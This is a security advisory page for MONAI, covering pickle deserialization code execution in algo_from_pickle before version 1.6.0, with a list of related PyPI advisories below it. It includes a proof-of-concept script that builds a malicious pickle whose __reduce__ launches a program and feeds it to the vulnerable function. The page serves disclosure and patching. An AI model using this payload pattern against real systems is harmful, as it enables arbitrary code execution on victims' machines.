GHSA-89gg-p5r5-q6r4: MONAI: Unsafe functions lead to pickle deserialization rce
Summary The algofrompickle function in monai/auto3dseg/utils.py causes pickle.loads(databytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities. Details poc Generate the malicious file "attackalgo.pkl" through POC.
Published Apr 7, 2026 · Updated Jul 31, 2026
Affected packages
monai
- Ecosystem
- PyPI
- Affected
- < 1.6.0
- Fixed in
- 1.6.0
- Check
pip show monai
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.
Details
poc
import pickle
import subprocess
class MaliciousAlgo:
def __reduce__(self):
return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())
attack_data = {
"algo_bytes": malicious_algo_bytes,
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
f.write(pickle.dumps(attack_data))
Generate the malicious file "attack_algo.pkl" through POC.
from monai.auto3dseg.utils import algo_from_pickle
attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)Ultimately, it will trigger pickle.load through a file to identify the command execution.
Causes of the vulnerability:
def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:
with open(pkl_filename, "rb") as f_pi:
data_bytes = f_pi.read()
data = pickle.loads(data_bytes)
Impact
Arbitrary code execution
Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method
Credited to hnking-star, mingxin-zheng.
References
- https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-89gg-p5r5-q6r4
- https://github.com/Project-MONAI/MONAI/issues/8874#issuecomment-4752023161
- https://github.com/Project-MONAI/MONAI/commit/9078a72f3992e49bd4560db510be9ec4ccf972cc
- https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0
- https://github.com/advisories/GHSA-89gg-p5r5-q6r4
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-48705
MONAILabel Server Crash and Silent Inference Corruption via Crafted DICOM (pydicom DS/IS Validation Bypass)
critical9.3Oct 27, 2026GHSA-qxq5-qhx6-94qw
Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch
high7.8Aug 18, 2026GHSA-wg9g-w2j2-8pgr
MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files
high7.8Aug 18, 2026CVE-2026-21851
MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download
medium5.3Jan 6, 2026CVE-2025-58755
MONAI does not prevent path traversal, potentially leading to arbitrary file writes
high8.8Sep 9, 2025CVE-2025-58756
MONAI: Unsafe torch usage may lead to arbitrary code execution
high8.8Sep 9, 2025
